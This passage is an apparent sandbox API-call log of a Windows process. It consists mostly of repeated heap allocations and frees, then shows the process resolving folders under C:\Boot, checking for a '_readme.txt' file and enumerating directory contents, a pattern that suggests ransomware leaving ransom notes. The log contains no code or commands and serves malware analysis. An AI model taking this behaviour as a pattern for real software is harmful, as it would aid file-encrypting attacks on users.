[0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.519] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.520] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.521] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.521] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.526] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0059.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.526] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.526] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.526] PathFindFileNameW (pszPath="") returned="" [0059.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.526] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.527] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.527] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.527] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.527] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0059.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.527] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0059.527] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.527] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, 